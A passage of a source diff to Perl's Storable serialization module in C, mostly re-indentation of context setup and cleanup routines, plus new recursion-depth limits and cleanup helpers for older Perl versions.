-#define HBUCKETS	4096				/* Buckets for %hseen */
+#define HBUCKETS	4096		/* Buckets for %hseen */
 #ifndef USE_PTR_TABLE
-	HvMAX(cxt->hseen) = HBUCKETS - 1;	/* keys %hseen = $HBUCKETS; */
+    HvMAX(cxt->hseen) = HBUCKETS - 1;	/* keys %hseen = $HBUCKETS; */
 #endif
 #endif
 
-	/*
-	 * The 'hclass' hash uses the same settings as 'hseen' above, but it is
-	 * used to assign sequential tags (numbers) to class names for blessed
-	 * objects.
-	 *
-	 * We turn the shared key optimization on.
-	 */
+    /*
+     * The 'hclass' hash uses the same settings as 'hseen' above, but it is
+     * used to assign sequential tags (numbers) to class names for blessed
+     * objects.
+     *
+     * We turn the shared key optimization on.
+     */
 
-	cxt->hclass = newHV();			/* Where seen classnames are stored */
+    cxt->hclass = newHV();		/* Where seen classnames are stored */
 
 #if PERL_VERSION >= 5
-	HvMAX(cxt->hclass) = HBUCKETS - 1;	/* keys %hclass = $HBUCKETS; */
+    HvMAX(cxt->hclass) = HBUCKETS - 1;	/* keys %hclass = $HBUCKETS; */
 #endif
 
-	/*
-	 * The 'hook' hash table is used to keep track of the references on
-	 * the STORABLE_freeze hook routines, when found in some class name.
-	 *
-	 * It is assumed that the inheritance tree will not be changed during
-	 * storing, and that no new method will be dynamically created by the
-	 * hooks.
-	 */
+    /*
+     * The 'hook' hash table is used to keep track of the references on
+     * the STORABLE_freeze hook routines, when found in some class name.
+     *
+     * It is assumed that the inheritance tree will not be changed during
+     * storing, and that no new method will be dynamically created by the
+     * hooks.
+     */
 
-	cxt->hook = newHV();			/* Table where hooks are cached */
+    cxt->hook = newHV();		/* Table where hooks are cached */
 
-	/*
-	 * The 'hook_seen' array keeps track of all the SVs returned by
-	 * STORABLE_freeze hooks for us to serialize, so that they are not
-	 * reclaimed until the end of the serialization process.  Each SV is
-	 * only stored once, the first time it is seen.
-	 */
+    /*
+     * The 'hook_seen' array keeps track of all the SVs returned by
+     * STORABLE_freeze hooks for us to serialize, so that they are not
+     * reclaimed until the end of the serialization process.  Each SV is
+     * only stored once, the first time it is seen.
+     */
 
-	cxt->hook_seen = newAV();		/* Lists SVs returned by STORABLE_freeze */
+    cxt->hook_seen = newAV(); /* Lists SVs returned by STORABLE_freeze */
+
+    cxt->max_recur_depth = SvIV(get_sv("Storable::recursion_limit", GV_ADD));
+    cxt->max_recur_depth_hash = SvIV(get_sv("Storable::recursion_limit_hash", GV_ADD));
 }
 
 /*
@@ -1417,86 +1673,86 @@
  */
 static void clean_store_context(pTHX_ stcxt_t *cxt)
 {
-	HE *he;
+    HE *he;
 
-	TRACEME(("clean_store_context"));
+    TRACEMED(("clean_store_context"));
 
-	ASSERT(cxt->optype & ST_STORE, ("was performing a store()"));
+    ASSERT(cxt->optype & ST_STORE, ("was performing a store()"));
 
-	/*
-	 * Insert real values into hashes where we stored faked pointers.
-	 */
+    /*
+     * Insert real values into hashes where we stored faked pointers.
+     */
 
 #ifndef USE_PTR_TABLE
-	if (cxt->hseen) {
-		hv_iterinit(cxt->hseen);
-		while ((he = hv_iternext(cxt->hseen)))	/* Extra () for -Wall, grr.. */
-			HeVAL(he) = &PL_sv_undef;
-	}
+    if (cxt->hseen) {
+        hv_iterinit(cxt->hseen);
+        while ((he = hv_iternext(cxt->hseen)))	/* Extra () for -Wall */
+            HeVAL(he) = &PL_sv_undef;
+    }
 #endif
 
-	if (cxt->hclass) {
-		hv_iterinit(cxt->hclass);
-		while ((he = hv_iternext(cxt->hclass)))	/* Extra () for -Wall, grr.. */
-			HeVAL(he) = &PL_sv_undef;
-	}
+    if (cxt->hclass) {
+        hv_iterinit(cxt->hclass);
+        while ((he = hv_iternext(cxt->hclass))) /* Extra () for -Wall */
+            HeVAL(he) = &PL_sv_undef;
+    }
 
-	/*
-	 * And now dispose of them...
-	 *
-	 * The surrounding if() protection has been added because there might be
-	 * some cases where this routine is called more than once, during
-	 * exceptional events.  This was reported by Marc Lehmann when Storable
-	 * is executed from mod_perl, and the fix was suggested by him.
-	 * 		-- RAM, 20/12/2000
-	 */
+    /*
+     * And now dispose of them...
+     *
+     * The surrounding if() protection has been added because there might be
+     * some cases where this routine is called more than once, during
+     * exceptional events.  This was reported by Marc Lehmann when Storable
+     * is executed from mod_perl, and the fix was suggested by him.
+     * 		-- RAM, 20/12/2000
+     */
 
 #ifdef USE_PTR_TABLE
-	if (cxt->pseen) {
-		struct ptr_tbl *pseen = cxt->pseen;
-		cxt->pseen = 0;
-		ptr_table_free(pseen);
-	}
-	assert(!cxt->hseen);
+    if (cxt->pseen) {
+        struct ptr_tbl *pseen = cxt->pseen;
+        cxt->pseen = 0;
+        ptr_table_free(pseen);
+    }
+    assert(!cxt->hseen);
 #else
-	if (cxt->hseen) {
-		HV *hseen = cxt->hseen;
-		cxt->hseen = 0;
-		hv_undef(hseen);
-		sv_free((SV *) hseen);
-	}
+    if (cxt->hseen) {
+        HV *hseen = cxt->hseen;
+        cxt->hseen = 0;
+        hv_undef(hseen);
+        sv_free((SV *) hseen);
+    }
 #endif
 
-	if (cxt->hclass) {
-		HV *hclass = cxt->hclass;
-		cxt->hclass = 0;
-		hv_undef(hclass);
-		sv_free((SV *) hclass);
-	}
+    if (cxt->hclass) {
+        HV *hclass = cxt->hclass;
+        cxt->hclass = 0;
+        hv_undef(hclass);
+        sv_free((SV *) hclass);
+    }
 
-	if (cxt->hook) {
-		HV *hook = cxt->hook;
-		cxt->hook = 0;
-		hv_undef(hook);
-		sv_free((SV *) hook);
-	}
+    if (cxt->hook) {
+        HV *hook = cxt->hook;
+        cxt->hook = 0;
+        hv_undef(hook);
+        sv_free((SV *) hook);
+    }
 
-	if (cxt->hook_seen) {
-		AV *hook_seen = cxt->hook_seen;
-		cxt->hook_seen = 0;
-		av_undef(hook_seen);
-		sv_free((SV *) hook_seen);
-	}
+    if (cxt->hook_seen) {
+        AV *hook_seen = cxt->hook_seen;
+        cxt->hook_seen = 0;
+        av_undef(hook_seen);
+        sv_free((SV *) hook_seen);
+    }
 
-	cxt->forgive_me = -1;			/* Fetched from perl if needed */
-	cxt->deparse = -1;				/* Idem */
-	if (cxt->eval) {
-	    SvREFCNT_dec(cxt->eval);
-	}
-	cxt->eval = NULL;				/* Idem */
-	cxt->canonical = -1;			/* Idem */
+    cxt->forgive_me = -1;	/* Fetched from perl if needed */
+    cxt->deparse = -1;		/* Idem */
+    if (cxt->eval) {
+        SvREFCNT_dec(cxt->eval);
+    }
+    cxt->eval = NULL;		/* Idem */
+    cxt->canonical = -1;	/* Idem */
 
-	reset_context(cxt);
+    reset_context(cxt);
 }
 
 /*
@@ -1504,51 +1760,57 @@
  *
  * Initialize a new retrieve context for real recursion.
  */
-static void init_retrieve_context(pTHX_ stcxt_t *cxt, int optype, int is_tainted)
+static void init_retrieve_context(pTHX_
+	stcxt_t *cxt, int optype, int is_tainted)
 {
-	TRACEME(("init_retrieve_context"));
+    INIT_TRACEME;
 
-	/*
-	 * The hook hash table is used to keep track of the references on
-	 * the STORABLE_thaw hook routines, when found in some class name.
-	 *
-	 * It is assumed that the inheritance tree will not be changed during
-	 * storing, and that no new method will be dynamically created by the
-	 * hooks.
-	 */
+    TRACEME(("init_retrieve_context"));
 
-	cxt->hook  = newHV();			/* Caches STORABLE_thaw */
+    /*
+     * The hook hash table is used to keep track of the references on
+     * the STORABLE_thaw hook routines, when found in some class name.
+     *
+     * It is assumed that the inheritance tree will not be changed during
+     * storing, and that no new method will be dynamically created by the
+     * hooks.
+     */
 
+    cxt->hook  = newHV();			/* Caches STORABLE_thaw */
+
 #ifdef USE_PTR_TABLE
-	cxt->pseen = 0;
+    cxt->pseen = 0;
 #endif
 
-	/*
-	 * If retrieving an old binary version, the cxt->retrieve_vtbl variable
-	 * was set to sv_old_retrieve. We'll need a hash table to keep track of
-	 * the correspondence between the tags and the tag number used by the
-	 * new retrieve routines.
-	 */
+    /*
+     * If retrieving an old binary version, the cxt->retrieve_vtbl variable
+     * was set to sv_old_retrieve. We'll need a hash table to keep track of
+     * the correspondence between the tags and the tag number used by the
+     * new retrieve routines.
+     */
 
-	cxt->hseen = (((void*)cxt->retrieve_vtbl == (void*)sv_old_retrieve)
-		      ? newHV() : 0);
+    cxt->hseen = (((void*)cxt->retrieve_vtbl == (void*)sv_old_retrieve)
+                  ? newHV() : 0);
 
-	cxt->aseen = newAV();			/* Where retrieved objects are kept */
-	cxt->where_is_undef = -1;		/* Special case for PL_sv_undef */
-	cxt->aclass = newAV();			/* Where seen classnames are kept */
-	cxt->tagnum = 0;				/* Have to count objects... */
-	cxt->classnum = 0;				/* ...and class names as well */
-	cxt->optype = optype;
-	cxt->s_tainted = is_tainted;
-	cxt->entry = 1;					/* No recursion yet */
+    cxt->aseen = newAV();	/* Where retrieved objects are kept */
+    cxt->where_is_undef = UNSET_NTAG_T;	/* Special case for PL_sv_undef */
+    cxt->aclass = newAV();	/* Where seen classnames are kept */
+    cxt->tagnum = 0;		/* Have to count objects... */
+    cxt->classnum = 0;		/* ...and class names as well */
+    cxt->optype = optype;
+    cxt->s_tainted = is_tainted;
+    cxt->entry = 1;		/* No recursion yet */
 #ifndef HAS_RESTRICTED_HASHES
-        cxt->derestrict = -1;		/* Fetched from perl if needed */
+    cxt->derestrict = -1;	/* Fetched from perl if needed */
 #endif
 #ifndef HAS_UTF8_ALL
-        cxt->use_bytes = -1;		/* Fetched from perl if needed */
+    cxt->use_bytes = -1;	/* Fetched from perl if needed */
 #endif
-        cxt->accept_future_minor = -1;	/* Fetched from perl if needed */
-	cxt->in_retrieve_overloaded = 0;
+    cxt->accept_future_minor = -1;/* Fetched from perl if needed */
+    cxt->in_retrieve_overloaded = 0;
+
+    cxt->max_recur_depth = SvIV(get_sv("Storable::recursion_limit", GV_ADD));
+    cxt->max_recur_depth_hash = SvIV(get_sv("Storable::recursion_limit_hash", GV_ADD));
 }
 
 /*
@@ -1558,49 +1820,49 @@
  */
 static void clean_retrieve_context(pTHX_ stcxt_t *cxt)
 {
-	TRACEME(("clean_retrieve_context"));
+    TRACEMED(("clean_retrieve_context"));
 
-	ASSERT(cxt->optype & ST_RETRIEVE, ("was performing a retrieve()"));
+    ASSERT(cxt->optype & ST_RETRIEVE, ("was performing a retrieve()"));
 
-	if (cxt->aseen) {
-		AV *aseen = cxt->aseen;
-		cxt->aseen = 0;
-		av_undef(aseen);
-		sv_free((SV *) aseen);
-	}
-	cxt->where_is_undef = -1;
+    if (cxt->aseen) {
+        AV *aseen = cxt->aseen;
+        cxt->aseen = 0;
+        av_undef(aseen);
+        sv_free((SV *) aseen);
+    }
+    cxt->where_is_undef = UNSET_NTAG_T;
 
-	if (cxt->aclass) {
-		AV *aclass = cxt->aclass;
-		cxt->aclass = 0;
-		av_undef(aclass);
-		sv_free((SV *) aclass);
-	}
+    if (cxt->aclass) {
+        AV *aclass = cxt->aclass;
+        cxt->aclass = 0;
+        av_undef(aclass);
+        sv_free((SV *) aclass);
+    }
 
-	if (cxt->hook) {
-		HV *hook = cxt->hook;
-		cxt->hook = 0;
-		hv_undef(hook);
-		sv_free((SV *) hook);
-	}
+    if (cxt->hook) {
+        HV *hook = cxt->hook;
+        cxt->hook = 0;
+        hv_undef(hook);
+        sv_free((SV *) hook);
+    }
 
-	if (cxt->hseen) {
-		HV *hseen = cxt->hseen;
-		cxt->hseen = 0;
-		hv_undef(hseen);
-		sv_free((SV *) hseen);		/* optional HV, for backward compat. */
-	}
+    if (cxt->hseen) {
+        HV *hseen = cxt->hseen;
+        cxt->hseen = 0;
+        hv_undef(hseen);
+        sv_free((SV *) hseen);	/* optional HV, for backward compat. */
+    }
 
 #ifndef HAS_RESTRICTED_HASHES
-        cxt->derestrict = -1;		/* Fetched from perl if needed */
+    cxt->derestrict = -1;		/* Fetched from perl if needed */
 #endif
 #ifndef HAS_UTF8_ALL
-        cxt->use_bytes = -1;		/* Fetched from perl if needed */
+    cxt->use_bytes = -1;		/* Fetched from perl if needed */
 #endif
-        cxt->accept_future_minor = -1;	/* Fetched from perl if needed */
+    cxt->accept_future_minor = -1;	/* Fetched from perl if needed */
 
-	cxt->in_retrieve_overloaded = 0;
-	reset_context(cxt);
+    cxt->in_retrieve_overloaded = 0;
+    reset_context(cxt);
 }
 
 /*
@@ -1610,24 +1872,24 @@
  */
 static void clean_context(pTHX_ stcxt_t *cxt)
 {
-	TRACEME(("clean_context"));
+    TRACEMED(("clean_context"));
 
-	ASSERT(cxt->s_dirty, ("dirty context"));
+    ASSERT(cxt->s_dirty, ("dirty context"));
 
-	if (cxt->membuf_ro)
-		MBUF_RESTORE();
+    if (cxt->membuf_ro)
+        MBUF_RESTORE();
 
-	ASSERT(!cxt->membuf_ro, ("mbase is not read-only"));
+    ASSERT(!cxt->membuf_ro, ("mbase is not read-only"));
 
-	if (cxt->optype & ST_RETRIEVE)
-		clean_retrieve_context(aTHX_ cxt);
-	else if (cxt->optype & ST_STORE)
-		clean_store_context(aTHX_ cxt);
-	else
-		reset_context(cxt);
+    if (cxt->optype & ST_RETRIEVE)
+        clean_retrieve_context(aTHX_ cxt);
+    else if (cxt->optype & ST_STORE)
+        clean_store_context(aTHX_ cxt);
+    else
+        reset_context(cxt);
 
-	ASSERT(!cxt->s_dirty, ("context is clean"));
-	ASSERT(cxt->entry == 0, ("context is reset"));
+    ASSERT(!cxt->s_dirty, ("context is clean"));
+    ASSERT(cxt->entry == 0, ("context is reset"));
 }
 
 /*
@@ -1638,19 +1900,19 @@
  */
 static stcxt_t *allocate_context(pTHX_ stcxt_t *parent_cxt)
 {
-	stcxt_t *cxt;
+    stcxt_t *cxt;
 
-	TRACEME(("allocate_context"));
+    ASSERT(!parent_cxt->s_dirty, ("parent context clean"));
 
-	ASSERT(!parent_cxt->s_dirty, ("parent context clean"));
+    NEW_STORABLE_CXT_OBJ(cxt);
+    TRACEMED(("allocate_context"));
 
-	NEW_STORABLE_CXT_OBJ(cxt);
-	cxt->prev = parent_cxt->my_sv;
-	SET_STCXT(cxt);
+    cxt->prev = parent_cxt->my_sv;
+    SET_STCXT(cxt);
 
-	ASSERT(!cxt->s_dirty, ("clean context"));
+    ASSERT(!cxt->s_dirty, ("clean context"));
 
-	return cxt;
+    return cxt;
 }
 
 /*
@@ -1661,18 +1923,18 @@
  */
 static void free_context(pTHX_ stcxt_t *cxt)
 {
-	stcxt_t *prev = (stcxt_t *)(cxt->prev ? SvPVX(SvRV(cxt->prev)) : 0);
+    stcxt_t *prev = (stcxt_t *)(cxt->prev ? SvPVX(SvRV(cxt->prev)) : 0);
 
-	TRACEME(("free_context"));
+    TRACEMED(("free_context"));
 
-	ASSERT(!cxt->s_dirty, ("clean context"));
-	ASSERT(prev, ("not freeing root context"));
-	assert(prev);
+    ASSERT(!cxt->s_dirty, ("clean context"));
+    ASSERT(prev, ("not freeing root context"));
+    assert(prev);
 
-	SvREFCNT_dec(cxt->my_sv);
-	SET_STCXT(prev);
+    SvREFCNT_dec(cxt->my_sv);
+    SET_STCXT(prev);
 
-	ASSERT(cxt, ("context not void"));
+    ASSERT(cxt, ("context not void"));
 }
 
 /***
@@ -1688,9 +1950,9 @@
  */
 static int is_storing(pTHX)
 {
-	dSTCXT;
+    dSTCXT;
 
-	return cxt->entry && (cxt->optype & ST_STORE);
+    return cxt->entry && (cxt->optype & ST_STORE);
 }
 
 /*
@@ -1700,9 +1962,9 @@
  */
 static int is_retrieving(pTHX)
 {
-	dSTCXT;
+    dSTCXT;
 
-	return cxt->entry && (cxt->optype & ST_RETRIEVE);
+    return cxt->entry && (cxt->optype & ST_RETRIEVE);
 }
 #endif
 
@@ -1716,10 +1978,10 @@
  */
 static int last_op_in_netorder(pTHX)
 {
-	dSTCXT;
+    dSTCXT;
 
-	assert(cxt);
-	return cxt->netorder;
+    assert(cxt);
+    return cxt->netorder;
 }
 
 /***
@@ -1734,39 +1996,40 @@
  * Returns the routine reference as an SV*, or null if neither the package
  * nor its ancestors know about the method.
  */
-static SV *pkg_fetchmeth(
-        pTHX_
+static SV *pkg_fetchmeth(pTHX_
 	HV *cache,
 	HV *pkg,
 	const char *method)
 {
-	GV *gv;
-	SV *sv;
-	const char *hvname = HvNAME_get(pkg);
+    GV *gv;
+    SV *sv;
+    const char *hvname = HvNAME_get(pkg);
+#ifdef DEBUGME
+    dSTCXT;
+#endif
 
+    /*
+     * The following code is the same as the one performed by UNIVERSAL::can
+     * in the Perl core.
+     */
 
-	/*
-	 * The following code is the same as the one performed by UNIVERSAL::can
-	 * in the Perl core.
-	 */
+    gv = gv_fetchmethod_autoload(pkg, method, FALSE);
+    if (gv && isGV(gv)) {
+        sv = newRV_inc((SV*) GvCV(gv));
+        TRACEME(("%s->%s: 0x%" UVxf, hvname, method, PTR2UV(sv)));
+    } else {
+        sv = newSVsv(&PL_sv_undef);
+        TRACEME(("%s->%s: not found", hvname, method));
+    }
 
-	gv = gv_fetchmethod_autoload(pkg, method, FALSE);
-	if (gv && isGV(gv)) {
-		sv = newRV((SV*) GvCV(gv));
-		TRACEME(("%s->%s: 0x%" UVxf, hvname, method, PTR2UV(sv)));
-	} else {
-		sv = newSVsv(&PL_sv_undef);
-		TRACEME(("%s->%s: not found", hvname, method));
-	}
+    /*
+     * Cache the result, ignoring failure: if we can't store the value,
+     * it just won't be cached.
+     */
 
-	/*
-	 * Cache the result, ignoring failure: if we can't store the value,
-	 * it just won't be cached.
-	 */
+    (void) hv_store(cache, hvname, strlen(hvname), sv, 0);
 
-	(void) hv_store(cache, hvname, strlen(hvname), sv, 0);
-
-	return SvOK(sv) ? sv : (SV *) 0;
+    return SvOK(sv) ? sv : (SV *) 0;
 }
 
 /*
@@ -1774,16 +2037,15 @@
  *
  * Force cached value to be undef: hook ignored even if present.
  */
-static void pkg_hide(
-        pTHX_
+static void pkg_hide(pTHX_
 	HV *cache,
 	HV *pkg,
 	const char *method)
 {
-	const char *hvname = HvNAME_get(pkg);
-	PERL_UNUSED_ARG(method);
-	(void) hv_store(cache,
-		hvname, strlen(hvname), newSVsv(&PL_sv_undef), 0);
+    const char *hvname = HvNAME_get(pkg);
+    PERL_UNUSED_ARG(method);
+    (void) hv_store(cache,
+                    hvname, strlen(hvname), newSVsv(&PL_sv_undef), 0);
 }
 
 /*
@@ -1791,15 +2053,14 @@
  *
  * Discard cached value: a whole fetch loop will be retried at next lookup.
  */
-static void pkg_uncache(
-        pTHX_
+static void pkg_uncache(pTHX_
 	HV *cache,
 	HV *pkg,
 	const char *method)
 {
-	const char *hvname = HvNAME_get(pkg);
-	PERL_UNUSED_ARG(method);
-	(void) hv_delete(cache, hvname, strlen(hvname), G_DISCARD);
+    const char *hvname = HvNAME_get(pkg);
+    PERL_UNUSED_ARG(method);
+    (void) hv_delete(cache, hvname, strlen(hvname), G_DISCARD);
 }
 
 /*
@@ -1810,41 +2071,43 @@
  * Returns the routine reference as an SV*, or null if the object does not
  * know about the method.
  */
-static SV *pkg_can(
-        pTHX_
+static SV *pkg_can(pTHX_
 	HV *cache,
 	HV *pkg,
 	const char *method)
 {
-	SV **svh;
-	SV *sv;
-	const char *hvname = HvNAME_get(pkg);
+    SV **svh;
+    SV *sv;
+    const char *hvname = HvNAME_get(pkg);
+#ifdef DEBUGME
+    dSTCXT;
+#endif
 
-	TRACEME(("pkg_can for %s->%s", hvname, method));
+    TRACEME(("pkg_can for %s->%s", hvname, method));
 
-	/*
-	 * Look into the cache to see whether we already have determined
-	 * where the routine was, if any.
-	 *
-	 * NOTA BENE: we don't use 'method' at all in our lookup, since we know
-	 * that only one hook (i.e. always the same) is cached in a given cache.
-	 */
+    /*
+     * Look into the cache to see whether we already have determined
+     * where the routine was, if any.
+     *
+     * NOTA BENE: we don't use 'method' at all in our lookup, since we know
+     * that only one hook (i.e. always the same) is cached in a given cache.
+     */
 
-	svh = hv_fetch(cache, hvname, strlen(hvname), FALSE);
-	if (svh) {
-		sv = *svh;
-		if (!SvOK(sv)) {
-			TRACEME(("cached %s->%s: not found", hvname, method));
-			return (SV *) 0;
-		} else {
-			TRACEME(("cached %s->%s: 0x%" UVxf,
-				hvname, method, PTR2UV(sv)));
-			return sv;
-		}
-	}
+    svh = hv_fetch(cache, hvname, strlen(hvname), FALSE);
+    if (svh) {
+        sv = *svh;
+        if (!SvOK(sv)) {
+            TRACEME(("cached %s->%s: not found", hvname, method));
+            return (SV *) 0;
+        } else {
+            TRACEME(("cached %s->%s: 0x%" UVxf,
+                     hvname, method, PTR2UV(sv)));
+            return sv;
+        }
+    }
 
-	TRACEME(("not cached yet"));
-	return pkg_fetchmeth(aTHX_ cache, pkg, method);		/* Fetch and cache */
+    TRACEME(("not cached yet"));
+    return pkg_fetchmeth(aTHX_ cache, pkg, method);	/* Fetch and cache */
 }
 
 /*
@@ -1853,8 +2116,7 @@
  * Call routine as obj->hook(av) in scalar context.
  * Propagates the single returned value if not called in void context.
  */
-static SV *scalar_call(
-        pTHX_
+static SV *scalar_call(pTHX_
 	SV *obj,
 	SV *hook,
 	int cloning,
@@ -1861,47 +2123,50 @@
 	AV *av,
 	I32 flags)
 {
-	dSP;
-	int count;
-	SV *sv = 0;
+    dSP;
+    int count;
+    SV *sv = 0;
+#ifdef DEBUGME
+    dSTCXT;
+#endif
 
-	TRACEME(("scalar_call (cloning=%d)", cloning));
+    TRACEME(("scalar_call (cloning=%d)", cloning));
 
-	ENTER;
-	SAVETMPS;
+    ENTER;
+    SAVETMPS;
 
-	PUSHMARK(sp);
-	XPUSHs(obj);
-	XPUSHs(sv_2mortal(newSViv(cloning)));		/* Cloning flag */
-	if (av) {
-		SV **ary = AvARRAY(av);
-		int cnt = AvFILLp(av) + 1;
-		int i;
-		XPUSHs(ary[0]);							/* Frozen string */
-		for (i = 1; i < cnt; i++) {
-			TRACEME(("pushing arg #%d (0x%" UVxf ")...",
-				 i, PTR2UV(ary[i])));
-			XPUSHs(sv_2mortal(newRV(ary[i])));
-		}
-	}
-	PUTBACK;
+    PUSHMARK(sp);
+    XPUSHs(obj);
+    XPUSHs(sv_2mortal(newSViv(cloning)));		/* Cloning flag */
+    if (av) {
+        SV **ary = AvARRAY(av);
+        SSize_t cnt = AvFILLp(av) + 1;
+        SSize_t i;
+        XPUSHs(ary[0]);					/* Frozen string */
+        for (i = 1; i < cnt; i++) {
+            TRACEME(("pushing arg #%d (0x%" UVxf ")...",
+                     (int)i, PTR2UV(ary[i])));
+            XPUSHs(sv_2mortal(newRV_inc(ary[i])));
+        }
+    }
+    PUTBACK;
 
-	TRACEME(("calling..."));
-	count = perl_call_sv(hook, flags);		/* Go back to Perl code */
-	TRACEME(("count = %d", count));
+    TRACEME(("calling..."));
+    count = call_sv(hook, flags);	/* Go back to Perl code */
+    TRACEME(("count = %d", count));
 
-	SPAGAIN;
+    SPAGAIN;
 
-	if (count) {
-		sv = POPs;
-		SvREFCNT_inc(sv);		/* We're returning it, must stay alive! */
-	}
+    if (count) {
+        sv = POPs;
+        SvREFCNT_inc(sv); /* We're returning it, must stay alive! */
+    }
 
-	PUTBACK;
-	FREETMPS;
-	LEAVE;
+    PUTBACK;
+    FREETMPS;
+    LEAVE;
 
-	return sv;
+    return sv;
 }
 
 /*
@@ -1910,44 +2175,111 @@
  * Call routine obj->hook(cloning) in list context.
  * Returns the list of returned values in an array.
  */
-static AV *array_call(
-        pTHX_
+static AV *array_call(pTHX_
 	SV *obj,
 	SV *hook,
 	int cloning)
 {
-	dSP;
-	int count;
-	AV *av;
-	int i;
+    dSP;
+    int count;
+    AV *av;
+    int i;
+#ifdef DEBUGME
+    dSTCXT;
+#endif
 
-	TRACEME(("array_call (cloning=%d)", cloning));
+    TRACEME(("array_call (cloning=%d)", cloning));
 
-	ENTER;
-	SAVETMPS;
+    ENTER;
+    SAVETMPS;
 
-	PUSHMARK(sp);
-	XPUSHs(obj);								/* Target object */
-	XPUSHs(sv_2mortal(newSViv(cloning)));		/* Cloning flag */
-	PUTBACK;
+    PUSHMARK(sp);
+    XPUSHs(obj);				/* Target object */
+    XPUSHs(sv_2mortal(newSViv(cloning)));	/* Cloning flag */
+    PUTBACK;
 
-	count = perl_call_sv(hook, G_ARRAY);		/* Go back to Perl code */
+    count = call_sv(hook, G_ARRAY);	/* Go back to Perl code */
 
-	SPAGAIN;
+    SPAGAIN;
 
-	av = newAV();
-	for (i = count - 1; i >= 0; i--) {
-		SV *sv = POPs;
-		av_store(av, i, SvREFCNT_inc(sv));
-	}
+    av = newAV();
+    for (i = count - 1; i >= 0; i--) {
+        SV *sv = POPs;
+        av_store(av, i, SvREFCNT_inc(sv));
+    }
 
-	PUTBACK;
-	FREETMPS;
-	LEAVE;
+    PUTBACK;
+    FREETMPS;
+    LEAVE;
 
-	return av;
+    return av;
 }
 
+#if PERL_VERSION < 15
+static void
+cleanup_recursive_av(pTHX_ AV* av) {
+    SSize_t i = AvFILLp(av);
+    SV** arr = AvARRAY(av);
+    if (SvMAGICAL(av)) return;
+    while (i >= 0) {
+        if (arr[i]) {
+#if PERL_VERSION < 14
+            arr[i] = NULL;
+#else
+            SvREFCNT_dec(arr[i]);
+#endif
+        }
+        i--;
+    }
+}
+
+#ifndef SvREFCNT_IMMORTAL
+#ifdef DEBUGGING
+   /* exercise the immortal resurrection code in sv_free2() */
+#  define SvREFCNT_IMMORTAL 1000
+#else
+#  define SvREFCNT_IMMORTAL ((~(U32)0)/2)
+#endif
+#endif
+
+static void
+cleanup_recursive_hv(pTHX_ HV* hv) {
+    SSize_t i = HvTOTALKEYS(hv);
+    HE** arr = HvARRAY(hv);
+    if (SvMAGICAL(hv)) return;
+    while (i >= 0) {
+        if (arr[i]) {
+            SvREFCNT(HeVAL(arr[i])) = SvREFCNT_IMMORTAL;
+            arr[i] = NULL; /* let it leak. too dangerous to clean it up here */
+        }
+        i--;
+    }
+#if PERL_VERSION < 8
+    ((XPVHV*)SvANY(hv))->xhv_array = NULL;
+#else
+    HvARRAY(hv) = NULL;
+#endif
+    HvTOTALKEYS(hv) = 0;
+}
+static void
+cleanup_recursive_rv(pTHX_ SV* sv) {
+    if (sv && SvROK(sv))
+        SvREFCNT_dec(SvRV(sv));
+}
+static void
+cleanup_recursive_data(pTHX_ SV* sv) {
+    if (SvTYPE(sv) == SVt_PVAV) {
+        cleanup_recursive_av(aTHX_ (AV*)sv);
+    }
+    else if (SvTYPE(sv) == SVt_PVHV) {
+        cleanup_recursive_hv(aTHX_ (HV*)sv);
+    }
+    else {
+        cleanup_recursive_rv(aTHX_ sv);
+    }
+}
+#endif
+
 /*
  * known_class
  *
@@ -1956,39 +2288,38 @@
  *
  * Return true if the class was known, false if the ID was just generated.
  */
-static int known_class(
-        pTHX_
+static int known_class(pTHX_
 	stcxt_t *cxt,
 	char *name,		/* Class name */
 	int len,		/* Name length */
 	I32 *classnum)
 {
-	SV **svh;
-	HV *hclass = cxt->hclass;
+    SV **svh;
+    HV *hclass = cxt->hclass;
 
-	TRACEME(("known_class (%s)", name));
+    TRACEME(("known_class (%s)", name));
 
-	/*
-	 * Recall that we don't store pointers in this hash table, but tags.
-	 * Therefore, we need LOW_32BITS() to extract the relevant parts.
-	 */
+    /*
+     * Recall that we don't store pointers in this hash table, but tags.
+     * Therefore, we need LOW_32BITS() to extract the relevant parts.
+     */
 
-	svh = hv_fetch(hclass, name, len, FALSE);
-	if (svh) {
-		*classnum = LOW_32BITS(*svh);
-		return TRUE;
-	}
+    svh = hv_fetch(hclass, name, len, FALSE);
+    if (svh) {
+        *classnum = LOW_32BITS(*svh);
+        return TRUE;
+    }
 
-	/*
-	 * Unknown classname, we need to record it.
-	 */
+    /*
+     * Unknown classname, we need to record it.
+     */
 
-	cxt->classnum++;
-	if (!hv_store(hclass, name, len, INT2PTR(SV*, cxt->classnum), 0))
-		CROAK(("Unable to record new classname"));
+    cxt->classnum++;
+    if (!hv_store(hclass, name, len, INT2PTR(SV*, cxt->classnum), 0))
+        CROAK(("Unable to record new classname"));
 
-	*classnum = cxt->classnum;
-	return FALSE;
+    *classnum = cxt->classnum;
+    return FALSE;
 }
 
 /***
@@ -2003,33 +2334,50 @@
  */
 static int store_ref(pTHX_ stcxt_t *cxt, SV *sv)
 {
-	int is_weak = 0;
-	TRACEME(("store_ref (0x%" UVxf ")", PTR2UV(sv)));
+    int retval;
+    int is_weak = 0;
+    TRACEME(("store_ref (0x%" UVxf ")", PTR2UV(sv)));
 
-	/*
-	 * Follow reference, and check if target is overloaded.
-	 */
+    /*
+     * Follow reference, and check if target is overloaded.
+     */
 
 #ifdef SvWEAKREF
-	if (SvWEAKREF(sv))
-		is_weak = 1;
-	TRACEME(("ref (0x%" UVxf ") is%s weak", PTR2UV(sv), is_weak
-                                                            ? ""
-                                                            : "n't"));
+    if (SvWEAKREF(sv))
+        is_weak = 1;
+    TRACEME(("ref (0x%" UVxf ") is%s weak", PTR2UV(sv),
+             is_weak ? "" : "n't"));
 #endif
-	sv = SvRV(sv);
+    sv = SvRV(sv);
 
-	if (SvOBJECT(sv)) {
-		HV *stash = (HV *) SvSTASH(sv);
-		if (stash && Gv_AMG(stash)) {
-			TRACEME(("ref (0x%" UVxf ") is overloaded", PTR2UV(sv)));
-			PUTMARK(is_weak ? SX_WEAKOVERLOAD : SX_OVERLOAD);
-		} else
-			PUTMARK(is_weak ? SX_WEAKREF : SX_REF);
-	} else
-		PUTMARK(is_weak ? SX_WEAKREF : SX_REF);
+    if (SvOBJECT(sv)) {
+        HV *stash = (HV *) SvSTASH(sv);
+        if (stash && Gv_AMG(stash)) {
+            TRACEME(("ref (0x%" UVxf ") is overloaded", PTR2UV(sv)));
+            PUTMARK(is_weak ? SX_WEAKOVERLOAD : SX_OVERLOAD);
+        } else
+            PUTMARK(is_weak ? SX_WEAKREF : SX_REF);
+    } else
